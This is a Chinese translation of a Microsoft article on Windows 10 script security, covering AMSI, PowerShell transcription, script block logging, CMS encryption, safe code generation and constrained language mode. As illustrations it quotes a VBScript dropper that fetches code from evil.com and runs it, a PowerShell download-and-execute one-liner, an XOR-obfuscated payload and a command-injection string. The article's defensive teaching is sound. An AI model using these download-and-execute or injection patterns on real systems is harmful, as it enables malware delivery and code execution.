首页
社区
课程
招聘
[翻译]Windows 10中脚本安全性和保护功能的进步
2019-12-26 17:12 7730

[翻译]Windows 10中脚本安全性和保护功能的进步

2019-12-26 17:12
7730

        在微软,我们投入大量时间和精力管理世界级的云服务和难以置信的大型企业网络。安全性对所有这些都是至关重要的,所以让您吃惊的是,我们还投入了大量的时间和精力试图突破这些服务。这被称为“红色团队”(Red Teaming)——由高度专业化的安全专家组成,让他们扮演复杂对手的角色。

在Windows的最后几个版本中,我们一直在努力使这个平台对管理员、开发人员和高级用户都更加强大。唯一的问题是——红队正在迎头赶上。

本文假设       

       在本文档中,假设攻击者已经通过恶意仿冒电子邮件、自定义网站实现中的安全漏洞或类似攻击危害(破坏)了系统。             

当这些安全缺陷出现在软件中时,就会被发现并修补。但我们总是假设攻击者会找到某种方法进入-即使只是通过用户被诱骗在其计算机上安装恶意应用程序。

与任何职业一样,攻击者的工作满意度(由受攻击公司出资或其他方式出资)在影响攻击者行为方面起着重要作用。毕竟,谁想用一个优雅和强大的脚本语言(如PuthS壳)来实现一个系统的折衷,使用易出错和难以编写的C++程序?            

 在本文档中,我们将讨论在Windows10中的脚本安全和保护方面取得的一些重要进展。

反恶意软件引擎的脚本透明性              

反恶意软件引擎通常将大部分注意力集中在应用程序(或系统)打开的文件上。一个新的Windows 10功能,反恶意软件扫描接口(AMSI),让应用程序现在成为恶意软件防御的积极参与者。应用程序现在可以请求对任何内容进行反恶意软件评估,而不仅仅是磁盘上的文件。

PowerShell ♥ the Blue Team    

鉴于power shell的shell和脚本语言令人难以置信的强大功能,我们在PowerShell的透明性方面取得了重大进展:可靠的誊写、深度脚本块日志记录、使用加密消息语法(CMS)标准的加密和解密cmdlet、面向开发人员的安全代码生成api,对于实现AppLocker策略的系统,“受约束的PowerShell”。

受保护的事件日志记录              

当您增加机器上的日志记录时,一个问题是您记录的信息可能包含敏感数据。如果攻击者破坏了该计算机,则事件日志中的此敏感信息可能是凭据、机密系统等的金矿。为了帮助解决这个问题,我们添加了受保护的事件日志记录,它允许参与应用程序在将敏感数据写入事件日志时对其进行加密。一旦将这些日志移到更安全和集中的日志收集器中,就可以对它们进行解密和处理。

反恶意软件引擎的脚本透明性             

在Windows 10中,反恶意软件、安全和身份、PowerShell、VBScript和JScript团队协作,允许应用程序成为恶意软件防御的积极参与者。为此,我们引入了一种全新的方法来帮助保护客户免受基于动态脚本的恶意软件和非传统攻击途径的攻击。            

 这叫做AMSI——反恶意软件扫描接口。            

         反病毒引擎通常将大部分注意力集中在系统打开的文件上。当文件被打开时,他们会扫描其内容,并对其恶意意图做出决定。这个决定来自于对文件内容运行签名——试图识别恶意意图模式的签名。             

在脚本语言方面,一个独特的挑战是它们支持动态脚本内容的求值和调用。虽然文件本身可能不是恶意的,但它可能会从internet上提取恶意代码。

' Visual Basic "dropper" - Invoke arbitrary web content

url = "http://evil.com/content=N7fBTfrP"

set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")

xmlhttp.open "GET", url, False

xmlhttp.send

eval(xmlhttp.responseText)
        在本例中,“eval”语句(VBScript中内置的语言功能)从evil.com获取原始响应,并将其当作VBScript调用。由于internet内容不是基于文件的,因此传统的防病毒软件无法对其进行检查。

       这一挑战的另一个独特之处是对交互式内容的调用。具有足够强大的脚本语言的交互式shell可能会带来挑战,因为它们的输入根本不是基于文件的:

PS C:\> Invoke-Expression (

    New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")
在本例中,我们有一个命令,用户在命令行中键入(或粘贴到命令行中)。PowerShell的“Invoke Expression”cmdlet从internet站点获取原始响应,并将其作为PowerShell进行调用。由于命令和它下载的internet内容都不是基于文件的,因此它也被传统的防病毒软件隐藏起来。

在Windows 10中,反恶意软件扫描界面有助于解决此问题。             

反恶意软件扫描接口(AMSI)是一种通用接口标准,允许应用程序和服务与计算机上的任何反恶意软件产品集成。他们可以请求对任何可能是恶意的内容进行反恶意软件分析,并根据响应采取行动。             

在Windows10中,内置脚本引擎(PowerShell、VBScript和JScript)现在请求对所有动态内容(包括在命令行手动键入的内容和从远程源下载的内容)进行反恶意软件分析。           

  有了这种支持,现在可以在模糊恶意软件中进行检测,而无需反恶意软件供应商编写易于出错的脚本语言模拟:

' Visual Basic "obfuscation" of the EICAR standard test file

eicar = "X5O!P%@AP[4\PZX54(P^)7CC)7}" + _

    "$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"

eval(eicar)

Now gives:

PS C:\temp> .\eicar_test.vbs

Microsoft (R) Windows Script Host Version 5.12

Copyright (C) Microsoft Corporation. All rights reserved.

C:\temp\eicar_test.vbs(3, 1) Microsoft VBScript runtime error: This script contains malicious content and has been blocked by your antivirus software.: 'eval'
Windows Defender已响应AMSI对Windows 10上内容扫描的请求—保护请求扫描潜在恶意内容的应用程序。此外,AMSI接口是一个开放标准,因此任何其他防病毒供应商都可以实现对这些请求的支持。

PowerShell ♥ the Blue Team

        当你采取假设破坏的心态时,你必须假设攻击者已经在你的系统上。但接下来你会问:他们做了什么?它们连接到什么系统?是否调用了任何动态代码,它是什么?             

        PowerShell版本5(包括在Windows 10中,也可通过Windows管理框架用于早期的操作系统)在确保Blue团队拥有回答这些问题所需的信息方面取得了重大进展。             

        Windows 8.1上的PowerShell v4的KB 3000850还包括许多这些功能,如下所示。              

       PowerShell版本5构建在PowerShell版本4(及以下版本)提供的已经很强的基础架构上:转录、模块日志记录等。有关这些环境中的PowerShell安全最佳实践的更多信息,请参阅http://blogs.msdn.com/b/PowerShell/archive/2013/12/16/PowerShell-Security-Best-Practices.aspx。此外,FireEye还发布了一份关于调查PowerShell攻击的优秀文档:http://www.FireEye.com/resources/pdfs/FireEye-lazanciyan-investiging-PowerShell-Attacks.pdf。本文档详细介绍了主动和被动技术。

Over-the-shoulder transcription(誊写)

获取PowerShell会话中发生的事件摘要的最快方法之一是查看键入的人的肩膀。你看到他们的命令,这些命令的输出,一切都很好。或者不是,但至少你会知道。            

        PowerShell版本4及之前的版本包括通过Start Transcript命令支持肩上转录。然而,设置PowerShell会话的无处不在的转录是复杂且容易出错的。您需要在每个系统的系统启动配置文件中包含该命令,还需要向试图禁用转录的标记攻击者添加大量审核。             

第二个问题是,只有在交互式PowerShell控制台中才支持转录。不支持远程处理会话的转录,也不支持在非控制台主机(如PowerShell ISE)中进行转录。             

在PowerShell版本5和KB 3000850中,Start Transcript现在在启动一个脚本时会发出结构化对象(Path属性很有用),并在其头中添加了更多有用的信息:

3 [C:\temp]   
>> $transcript = Start-Transcript  
4 [C:\temp]>> $transcript.Path 
D:\Documents\PowerShell_transcript.COMPUTER16._o1d005+.20150403141829.txt                                                                                       

5 [C:\temp]                                                                                                                                                    

>> Get-Content $transcript.Path -Head 9                                                                                                                       

**********************                                                                                                                                          

Windows PowerShell transcript start                                                                                                                         
Start time: 20150403141829                                                                                                                       
Username: CONTOSO\user                                                                                                                                       
RunAs User: CONTOSO\user                                                                                                                                     
Machine: COMPUTER16 (Microsoft Windows NT 6.3.9600.0)                                                                                                           
Host Application: C:\windows\system32\WindowsPowerShell\v1.0\PowerShell.exe                                                                                    
Process ID: 25996     
**********************

        文件名称由生成脚本誊写的计算机名称,防止脚本收集的“hash breaker”和生成时间组成。

        虽然PowerShell v4及以下版本允许您控制输出路径,但随后您被迫自行适当地随机选择脚本文件名。 为了改善这种情况,我们已将–OutputDirectory参数添加到Start-Transcript中。

        在标题内容中,“用户名”和“运行方式用户”通常是相同的。 如果您在受限的PowerShell远程处理端点(即:PowerShell有限管理)上启用了模拟,则“用户名”字段表示已连接的用户,而“运行方式用户”则表示要冒充的帐户。

在标题内容中,“用户名”和“运行方式用户”通常是相同的。如果您已在受约束的PowerShell远程处理端点上启用了模拟。,用户名”字段表示连接的用户,而“运行方式用户”字段表示要模拟的帐户。

        当涉及到抄录内容时,PowerShell现在会誊写直接操作控制台缓冲区的控制台命令,并且现在可以在诸如PowerShell ISE之类的主机中启用。

如果要更直接地将命令与其输出相关联以进行后续的分析,请使用–IncludeInvocationHeader参数。 这会为每个调用的命令添加一个附加头:

**********************

Command start time: 20150403145336

**********************

PS C:\temp> 1+1

2

**********************

Command start time: 20150403145344

**********************

PS C:\temp> Get-Process -id $pid

Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName

-------  ------    -----      ----- -----   ------     -- -----------

    625      58   100096     101796   760    10.28  21816 powershell


开启自动誊写功能,需要在组策略中进行设置。

Windows Components -> Administrative Templates -> Windows PowerShell.

为了更好的实现自动化,设置会存储在下面的注册表中:HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription.

下面PowerShell函数是你能够开启或者关闭系统级脚本誊写功能。

function Enable-PSTranscription

{

    [CmdletBinding()]

    param(

        $OutputDirectory,

        [Switch] $IncludeInvocationHeader

    )

    ## Ensure the base path exists

    $basePath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription"

    if(-not (Test-Path $basePath))

    {

        $null = New-Item $basePath -Force

    }

    ## Enable transcription

    Set-ItemProperty $basePath -Name EnableTranscripting -Value 1

    ## Set the output directory

    if($PSCmdlet.MyInvocation.BoundParameters.ContainsKey("OutputDirectory"))

    {

        Set-ItemProperty $basePath -Name OutputDirectory -Value $OutputDirectory

    }

    ## Set the invocation header

    if($IncludeInvocationHeader)

    {

        Set-ItemProperty $basePath -Name EnableInvocationHeader -Value 1

    }

}

function Disable-PSTranscription

{

    Remove-Item HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription -Force -Recurse

}

在系统级别的脚本誊写功能启用后,没有接口的主机模拟脚本也会被誊写,例如以下示例C#程序。

using System;

using System.Management.Automation;

namespace IgnorantTranscriber

{

    class Program

    {

        static void Main(string[] args)

        {

            var processes = PowerShell.Create().AddCommand("Get-Process").

                AddParameter("Name", "*e*").Invoke();

            Console.WriteLine("You have " + processes.Count +

                " processes with 'e' in the name!");

        }

    }

}

当你运行上面脚本的时候,会得到如下记录:

PS>CommandInvocation(Get-Process): "Get-Process"

>> ParameterBinding(Get-Process): name="Name"; value="*e*"

Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName

-------  ------    -----      ----- -----   ------     -- -----------

    135      11     2496       7716  4096            2548 Acmengine

   2451     121    63952     188004  4096    45.80   1516 explorer

      0       0        0          4     0               0 Idle

    254      22    38132      36248   229     0.64   2556 IgnorantTranscriber

    452      53    93164      64664  4096            1756 MsMpEng

    147      10     1872      12524  4096     0.08   3784 OpenWith

    658      33    80680      97852  4096     3.61   1120 powershell

    486      30    74876      89780  4096     2.64   2060 powershell

    277      10     3452       8696  4096             536 services

    148      12     3256       9840  4096            2608 sysparse

    885       0      120        136     3               4 System

    239      18     3268      12060  4096     0.33   2896 taskhostex

当OutputDirectory选项被设置时,你能够将收集的脚本存储到一个路径下以供后续分析。如果你执行了这个策略,确保对用户访问权限进行限制,不要使每一个用户都能够访问收集脚本的文件。下面的PowerShell脚本创建了一个名称为“Transcripts”的SMB共享,这样做是最佳实践。

md c:\Transcripts

## Kill all inherited permissions

$acl = Get-Acl c:\Transcripts

$acl.SetAccessRuleProtection($true, $false)

## Grant Administrators full control

$administrators = [System.Security.Principal.NTAccount] "Administrators"

$permission = $administrators,"FullControl","ObjectInherit,ContainerInherit","None","Allow"

$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission

$acl.AddAccessRule($accessRule)

## Grant everyone else Write and ReadAttributes. This prevents users from listing

## transcripts from other machines on the domain.

$everyone = [System.Security.Principal.NTAccount] "Everyone"

$permission = $everyone,"Write,ReadAttributes","ObjectInherit,ContainerInherit","None","Allow"

$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission

$acl.AddAccessRule($accessRule)

## Deny "Creator Owner" everything. This prevents users from

## viewing the content of previously written files.

$creatorOwner = [System.Security.Principal.NTAccount] "Creator Owner"

$permission = $creatorOwner,"FullControl","ObjectInherit,ContainerInherit","InheritOnly","Deny"

$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission

$acl.AddAccessRule($accessRule)

## Set the ACL

$acl | Set-Acl c:\Transcripts\

## Create the SMB Share, granting Everyone the right to read and write files. Specific

## actions will actually be enforced by the ACL on the file folder.

New-SmbShare -Name Transcripts -Path c:\Transcripts -ChangeAccess Everyone 

Deep script block logging(深度脚本块记录)

PowerShell脚本块是PowerShell执行的基本单元。脚本块可以是PowerShell交互窗口的一个命令行,也可以是PowerShell –Command<…>形式的命令行,也可以被包裹在一个函数、脚本和流程中。

        作为over-the-shoulder style transcription的补充,PowerShell v5和KB 3000850引入了深度脚本块记录功能。当你开启脚本块记录功能的时候,PowerShell记录其产生的所以脚本块。如果一个脚本动态的生成指令(例如:$command = "'Hello World'"; Invoke-Expression $command)PowerShell将记录调用的脚本块。这提供了对系统上基于脚本活动的完整了解,这使我们能够监测包括利用动态代码生成来逃避检测的脚本或应用程序。

深度脚本块日志记录适用于承载PowerShell引擎的任何应用程序-命令行外壳,ISE或自定义主机。

通过组策略设置深度脚本块记录功能位置如下:

Windows Components -> Administrative Templates -> Windows PowerShell.

自动化执行这个策略需要设置注册表项:

HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging.

默认设置下,PowerShell仅在首次使用脚本块时记录日志。如果你选择”Log script block invocation start / stop events”, 每当脚本块被调用时,PowerShell也会记录启动和停止事件。 后一种设置会产生大量事件,因此应谨慎启用。

通过以下PowerShell功能,您可以启用和禁用系统范围的脚本块日志记录策略。

function Enable-PSScriptBlockLogging

{

    $basePath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"

    if(-not (Test-Path $basePath))

    {

        $null = New-Item $basePath -Force

    }

    Set-ItemProperty $basePath -Name EnableScriptBlockLogging -Value "1"

}

function Disable-PSScriptBlockLogging

{

    Remove-Item HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force -Recurse

}

function Enable-PSScriptBlockInvocationLogging

{

    $basePath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"

    if(-not (Test-Path $basePath))

    {

        $null = New-Item $basePath -Force

    }

    Set-ItemProperty $basePath -Name EnableScriptBlockInvocationLogging -Value "1"

}

        大多数公司仅在为时已晚之后才意识到需要启用脚本块日志记录。 为了在这种情况下提供一些帮助,当脚本块包含恶意脚本经常使用的内容时,PowerShell会自动记录它们。 此自动脚本块日志记录并非旨在替代防病毒或完整脚本块日志记录,仅用作最后的记录。

关闭脚本块记录功能,设置“Turn on Script Block Logging”为” Disabled”。或者设置EnableScriptBlockLogging注册表项为0。

当脚本块记录功能开启时,PowerShell事件将记录在Microsoft-Windows-PowerShell/Operational日志中:

此表见文件附件

        消息中嵌入的文本是编译的脚本块的文本。 ScriptBlock ID是在脚本块有效期内保留的GUID。

注意:如果某些命令是通过PowerShell的动态关键字机制或重写函数生成的,则某些脚本块文本(例如:Get-ChildItem)可能无法真正代表其基础功能。 对于这两种情况,都将记录原始的动态关键字定义(或恶意功能定义)。

启用脚本块调用日志记录后,PowerShell还将写入开始和结束事件标记:

此表见文件附件 

        该ID是代表脚本块的GUID(可以与事件ID 4104相关联),而Runspace ID代表运行该脚本块的运行空间。

假定它代表系统上调用的所有PowerShell脚本的内容,则这些事件可能包含敏感数据。 要限制启用脚本块日志记录时的信息泄露风险,请参阅受保护事件日志记录。

        调用消息中的百分号表示结构化的ETW属性, 在用消息文本中的实际值替换它们。一种更可靠的访问方法是使用Get-WinEvent cmdlet检索消息,然后使用消息的Properties数组。

这是此功能如何帮助解开恶意的加密和混淆脚本尝试的示例:

## Malware

function SuperDecrypt

{

    param($script)

    $bytes = [Convert]::FromBase64String($script)

    ## XOR “encryption”

    $xorKey = 0x42

    for($counter = 0; $counter -lt $bytes.Length; $counter++)

    {

        $bytes[$counter] = $bytes[$counter] -bxor $xorKey

    }

    [System.Text.Encoding]::Unicode.GetString($bytes)

}

$decrypted = SuperDecrypt "FUIwQitCNkInQm9CCkItQjFCNkJiQmVCEkI1QixCJkJlQg=="

Invoke-Expression $decrypted 


运行此命令将生成以下日志条目:

         

Compiling Scriptblock text (1 of 1):

        function SuperDecrypt

        {

            param($script)

            $bytes = [Convert]::FromBase64String($script)

            ## XOR "encryption"

            $xorKey = 0x42

            for($counter = 0; $counter -lt $bytes.Length; $counter++)

            {

                $bytes[$counter] = $bytes[$counter] -bxor $xorKey

            }

            [System.Text.Encoding]::Unicode.GetString($bytes)

        }

        ScriptBlock ID: ad8ae740-1f33-42aa-8dfc-1314411877e3

        Compiling Scriptblock text (1 of 1):

        $decrypted = SuperDecrypt "FUIwQitCNkInQm9CCkItQjFCNkJiQmVCEkI1QixCJkJlQg=="

        ScriptBlock ID: ba11c155-d34c-4004-88e3-6502ecb50f52

        Compiling Scriptblock text (1 of 1):

        Invoke-Expression $decrypted

        ScriptBlock ID: 856c01ca-85d7-4989-b47f-e6a09ee4eeb3

        Compiling Scriptblock text (1 of 1):

        Write-Host 'Pwnd'

        ScriptBlock ID: 5e618414-4e77-48e3-8f65-9a863f54b4c8

如果脚本块的长度超过了单个事件中ETW可以容纳的长度,则Windows PowerShell会将脚本分为多个部分。 这是从脚本的日志消息重新组合脚本的示例代码:

$created = Get-WinEvent -FilterHashtable @{
    ProviderName="Microsoft-Windows-PowerShell"; Id = 4104 } | Where-Object { <Criteria> }

$sortedScripts = $created | sort { $_.Properties[0].Value }

$mergedScript = -join ($sortedScripts | % { $_.Properties[2].Value })

与所有保留缓冲区有限的日志系统(即ETW日志)一样,针对此基础架构的一种攻击是使用虚假事件来充斥日志以隐藏早期证据。 为了保护自己免受这种攻击,请确保您设置了某种形式的事件日志收集。

Cryptographic Message Syntax (CMS) encryption and decryption cmdlets(加密消息语法(CMS)加密和解密cmdlets)

PowerShell版本5和KB 3000850引入了对使用加密消息语法(CMS)格式的内容保护的支持。 这些cmdlet支持使用IETF标准格式对内容进行加密和解密,以加密保护信息,如RFC5652所述。

Get-CmsMessage [-Content] <string>

Get-CmsMessage [-Path] <string>

Get-CmsMessage [-LiteralPath] <string>

Protect-CmsMessage [-To] <CmsMessageRecipient[]> [-Content] <string> [[-OutFile] <string>]

Protect-CmsMessage [-To] <CmsMessageRecipient[]> [-Path] <string> [[-OutFile] <string>]

Protect-CmsMessage [-To] <CmsMessageRecipient[]> [-LiteralPath] <string> [[-OutFile] <string>]

Unprotect-CmsMessage [-EventLogRecord] <EventLogRecord> [[-To] <CmsMessageRecipient[]>] [-IncludeContext]

Unprotect-CmsMessage [-Content] <string> [[-To] <CmsMessageRecipient[]>] [-IncludeContext]

Unprotect-CmsMessage [-Path] <string> [[-To] <CmsMessageRecipient[]>] [-IncludeContext]

Unprotect-CmsMessage [-LiteralPath] <string> [[-To] <CmsMessageRecipient[]>] [-IncludeContext]

CMS加密标准实现了公共密钥加密,其中用于加密内容的密钥(公共密钥)和用于解密内容的密钥(私有密钥)不同。

您的公钥可以广泛共享,并且不是敏感数据。 如果使用此公共密钥加密了任何内容,则只有您的私有密钥可以解密它。 有关公钥密码术的更多信息,请参见:http://en.wikipedia.org/wiki/Public-key_cryptography。

要在Windows PowerShell中被识别,加密证书需要一个唯一密钥标识符(EKU)才能将它们标识为数据加密证书(例如“代码签名”,“加密邮件”的标识符)。

这是创建适用于文档加密的证书的示例:

(将“主题”中的文本更改为您的姓名,电子邮件或其他标识符),然后放入文件中(即:DocumentEncryption.inf):

[Version]

Signature = "$Windows NT$"

[Strings]

szOID_ENHANCED_KEY_USAGE = "2.5.29.37"

szOID_DOCUMENT_ENCRYPTION = "1.3.6.1.4.1.311.80.1"

[NewRequest]

Subject = "cn=me@somewhere.com"

MachineKeySet = false

KeyLength = 2048

KeySpec = AT_KEYEXCHANGE

HashAlgorithm = Sha1

Exportable = true

RequestType = Cert

KeyUsage = "CERT_KEY_ENCIPHERMENT_KEY_USAGE | CERT_DATA_ENCIPHERMENT_KEY_USAGE"

ValidityPeriod = "Years"

ValidityPeriodUnits = "1000"

[Extensions]

%szOID_ENHANCED_KEY_USAGE% = "{text}%szOID_DOCUMENT_ENCRYPTION%"

执行:

certreq -new DocumentEncryption.inf DocumentEncryption.cer

然后你会看到加密内容:

106 [C:\temp]
>> $protected = "Hello World" | Protect-CmsMessage -To "*me@somewhere.com*"

107 [C:\temp]
>> $protected

-----BEGIN CMS-----
MIIBqAYJKoZIhvcNAQcDoIIBmTCCAZUCAQAxggFQMIIBTAIBADA0MCAxHjAcBgNVBAMMFWxlZWhv
bG1AbWljcm9zb2Z0LmNvbQIQQYHsbcXnjIJCtH+OhGmc1DANBgkqhkiG9w0BAQcwAASCAQAnkFHM
proJnFy4geFGfyNmxH3yeoPvwEYzdnsoVqqDPAd8D3wao77z7OhJEXwz9GeFLnxD6djKV/tF4PxR
E27aduKSLbnxfpf/sepZ4fUkuGibnwWFrxGE3B1G26MCenHWjYQiqv+Nq32Gc97qEAERrhLv6S4R
G+2dJEnesW8A+z9QPo+DwYU5FzD0Td0ExrkswVckpLNR6j17Yaags3ltNVmbdEXekhi6Psf2MLMP
TSO79lv2L0KeXFGuPOrdzPAwCkV0vNEqTEBeDnZGrjv/5766bM3GW34FXApod9u+VSFpBnqVOCBA
DVDraA6k+xwBt66cV84OHLkh0kT02SIHMDwGCSqGSIb3DQEHATAdBglghkgBZQMEASoEEJbJaiRl
KMnBoD1dkb/FzSWAEBaL8xkFwCu0e1ZtDj7nSJc=
-----END CMS-----

108 [C:\temp]
>> $protected | Unprotect-CmsMessage
Hello World

CMSMessageRecipient类型的任何参数都支持以下格式的标识符:

•实际证书(从证书提供者处检索)

•包含证书的文件的路径

•包含证书的目录的路径

•证书的指纹(用于在证书存储中查找)

•证书的主题名称(用于在证书存储中查找)

要在证书提供者中查看文档加密证书,可以将-DocumentEncryptionCert动态参数用于Get-ChildItem(dir):

58 [Cert:\currentuser\my]
>> dir -DocumentEncryptionCert

Interoperability of CMS Content(CMS内容的互操作性)

由于CMS格式是IETF标准,因此PowerShell支持对其他符合标准的工具生成的内容进行解密,并且它生成的内容可以由其他符合标准的工具解密。

支持CMS消息格式的较流行的实现之一是OpenSSL库和命令行工具链。 与OpenSSL库交换数据时的主要挑战来自OpenSSL假设,即内容以P7M格式包含在电子邮件正文中。 幸运的是,这些基于文本的标题相对容易添加和删除。

以下PowerShell命令演示了如何使用OpenSSL和PowerShell加密和解密其他应用程序生成的内容。

## Install the OpenSSL package

Install-Package OpenSSL.Light

## OpenSSL requires certificates in the PEM format. To create this,

## export the Windows certificate in PFX format, and ensure that

## the PFX is protected by a password (rather than account) as

## OpenSSL doesn't support group-protected PFX files

& "C:\Program Files\OpenSSL\bin\openssl.exe" pkcs12 -in C:\temp\cert.pfx -out c:\temp\cert.pem -nodes

## 1) Encrypt with PowerShell, decrypt with OpenSSL.

## First, protect some content in PowerShell.

Get-Process | Protect-CmsMessage -To "*myRecipient*" | Set-Content encrypted.txt

<#

PowerShell uses BEGIN CMS / END CMS sigils to signify encrypted content.

OpenSSL requires an email-header:

    MIME-Version: 1.0

    Content-Disposition: attachment; filename="smime.p7m"

    Content-Type: application/pkcs7-mime; smime-type=enveloped-data; name="smime.p7m"

    Content-Transfer-Encoding: base64

So, tweak the data.

#>

$p7mHeader = @'

MIME-Version: 1.0

Content-Disposition: attachment; filename="smime.p7m"

Content-Type: application/pkcs7-mime; smime-type=enveloped-data; name="smime.p7m"

Content-Transfer-Encoding: base64

'@

$unixContent = Get-Content encrypted.txt | Select-String -notmatch "----"

$p7mHeader,"`r`n",$unixContent | Set-Content encrypted_unix.txt -Encoding ASCII

## Finally, decrypt with OpenSSL. Ensure that the content is encoded as ASCII.

& "C:\Program Files\OpenSSL\bin\openssl.exe" cms -decrypt -in encrypted_unix.txt -recip .\cert.pem

## 2) Encrypt with OpenSSL, decrypt with PowerShell

## First, protect some content with OpenSSL

$encrypted = Get-Process | & "C:\Program Files\OpenSSL\bin\openssl.exe" cms -encrypt -recip .\cert.pem

## Change the OpenSSL mail header to the standard CMS header

"-----BEGIN CMS-----",$($encrypted -notmatch ":"),"-----END CMS-----" > encrypted.cms

## Finally, decrypt with PowerShell

Unprotect-CmsMessage -Path .\encrypted.cms

Secure code generation APIs(安全代码生成API)

        当你编写的代码的输入能够被攻击者控制的时候,代码注入漏洞是所有漏洞中危害最大的。一个很好的例子就是你在受约束的PowerShell运行空间中为使用者提供的函数。如果攻击能利用其中一个函数进行代码注入,那么他们可以像执行代码本身那样执行恶意代码,不受运行空间的限制。

几乎每种语言都可能受到代码注入漏洞的攻击。 在SQL中,这称为“ SQL注入”。 在网站中,这称为“跨站点脚本”。 在CGI应用程序中,shell脚本或调用系统命令的工具-称为“命令注入”。

        在PowerShell中,代码注入漏洞的最常见来源来自在提交给Invoke-Expression命令的字符串中包括攻击者控制的输入。 例如:

function Get-MyAcl

{

    param($Path)

    Invoke-Expression "Get-Acl $Path"

}

如果$Path包含如下内容“; Write-Host Pwnd”,攻击者能够执行Write-Host cmdlet(或者更糟糕)。

几乎应该避免使用Invoke-Expression cmdlet,因为PowerShell(与其他语言一样)具有许多功能,可以更安全地代替它。

## Invoke a static command

Get-Acl -Path c:\temp\file.txt

## Supply a dynamic parameter value

## with a variable reference

$paramValue = "c:\temp\file.txt"

Get-Acl -Path $paramValue

## Supply both a dynamic parameter name and

## value through 'splatting'

$parameters = @{ Path = "c:\temp\file.txt" }

Get-Acl @parameters

## Supply a dynamic command name, parameter name,

## and parameter value through the invocation

## operator and splatting

$commandName = "Get-Acl"

$parameters = @{ Path = "c:\temp\file.txt" }

& $commandName @parameters

        如果确实需要生成PowerShell脚本,则PowerShell版本5和KB 3000850引入了API以支持安全生成可能包含攻击者输入的脚本。

13 [C:\temp]
>> [System.Management.Automation.Language.CodeGeneration] | gm –static

   TypeName: System.Management.Automation.Language.CodeGeneration

Name                            MemberType Definition
----                            ---------- ----------
Equals                          Method     static bool Equals(System.Object objA, System.Object objB)
EscapeBlockCommentContent       Method     static string EscapeBlockCommentContent(string value)
EscapeFormatStringContent       Method     static string EscapeFormatStringContent(string value)
EscapeSingleQuotedStringContent Method     static string EscapeSingleQuotedStringContent(string value)
EscapeVariableName              Method     static string EscapeVariableName(string value)

如果要将攻击者控制的输入放在字符串中(比如:用于命令参数),请确保将其放在单引号中。 然后,对内容本身使用EscapeSingleQuotedStringContentAPI函数。 这样可以确保攻击者输入中的单引号被正确地转义。

比如:

$attackerInput = "Hello'World"

$escapedAttackerInput = "'" +

    [Management.Automation.Language.CodeGeneration]::

        EscapeSingleQuotedStringContent($attackerInput) + "'"

$newScript = "Write-Host $escapedAttackerInput"

Invoke-Expression $newScript

安全转义还包含在块注释,格式字符串或变量名称中的内容。

Constrained PowerShell(受约束的PowerShell)

        当系统敏感时,限制攻击可能造成的破坏的最有效方法之一就是降低攻击的能力。Windows的安全控制机制有多种形式,能够创建逐层的保护机制。

当然,这些保护是常规Windows用户权限模型的补充。 应用程序不需要阻止用户修改系统范围的注册表项,因为Windows会强制执行这些保护。

最强的保护形式是当系统在“允许模式”下使用AppLocker时,仅允许运行特定的已知应用程序。

        在PowerShell版本5之前,AppLocker的“允许模式”的局限性在于交互式PowerShell输入不受此政策的约束。 虽然允许模式可能会阻止运行未知的PowerShell脚本,但不会阻止在交互式提示符下输入的等效命令。

        在版本5中,当PowerShell检测到PowerShell脚本已对其应用“允许模式”策略时,现在将其功能降低为交互式输入脚本和用户创作脚本的“约束模式”。 受约束的PowerShell将语言模式限制为受约束的语言(如about_Language_Modes中所述),这是最初为Windows RT引入的模式。

受限语言模式不限制核心PowerShell语言的功能,例如变量,循环和函数。 但是,它确实限制了扩展语言功能,这些功能可能导致无法验证的代码执行,例如直接调用.NET的脚本,通过Add-Type cmdlet调用Win32 API和与COM对象进行的交互。

        AppLocker策略允许的脚本(例如:由企业的受信任代码签名证书签署或位于受信任目录中)不受约束语言模式的约束。 他们可以访问受限语言不允许的PowerShell语言的扩展功能。 这包括不可验证的扩展名,例如.NET脚本和Win32 API的调用。

        关于AppLocker更多的设置请参考:https://technet.microsoft.com/en-us/library/dd723678(v=ws.10).aspx.

        这是一个示例PowerShell命令,可让您在“允许模式”下对所有脚本(即:默认情况下阻止所有VBScript,批处理文件和PowerShell脚本)使用AppLocker进行实验,然后仅允许来自c:\ trusted的PowerShell脚本运行。

PS C:\> $whitelistApplockerPolicy = New-AppLockerPolicy -RuleType Path -FileInformation "c:\trusted\*.ps1"
PS C:\> $existingApplockerPolicy = Get-AppLockerPolicy –Local
PS C:\> Set-AppLockerPolicy $whitelistApplockerPolicy
PS C:\> powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\> $executionContext.SessionState.LanguageMode
ConstrainedLanguage

PS C:\> [Math]::Sqrt([Math]::Pi)
Cannot invoke method. Method invocation is supported only on core types in this language mode.

At line:1 char:1
+ [Math]::Sqrt([Math]::Pi)
+ ~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage

PS C:\> '[Math]::Sqrt([Math]::Pi)' > c:\trusted\trusted.ps1
PS C:\> c:\trusted\trusted.ps1
1.77245385090552

PS C:\> exit
PS C:\> Set-AppLockerPolicy $existingApplockerPolicy

        注意–如果用户可以在c:\ trusted中添加或编辑文件,则此策略不提供任何保护。 在这种情况下,用户可以简单地将脚本放在该目录中以绕过策略。 另外,如果您的AppLocker政策没有类似地限制可执行文件,则该政策将不提供任何保护。 在这种情况下,用户只需运行可执行文件即可绕过策略。

        为了执行其策略,AppLocker要求AppIDSvc服务正在运行。 启用策略时,请确保将服务设置为“自动启动”。

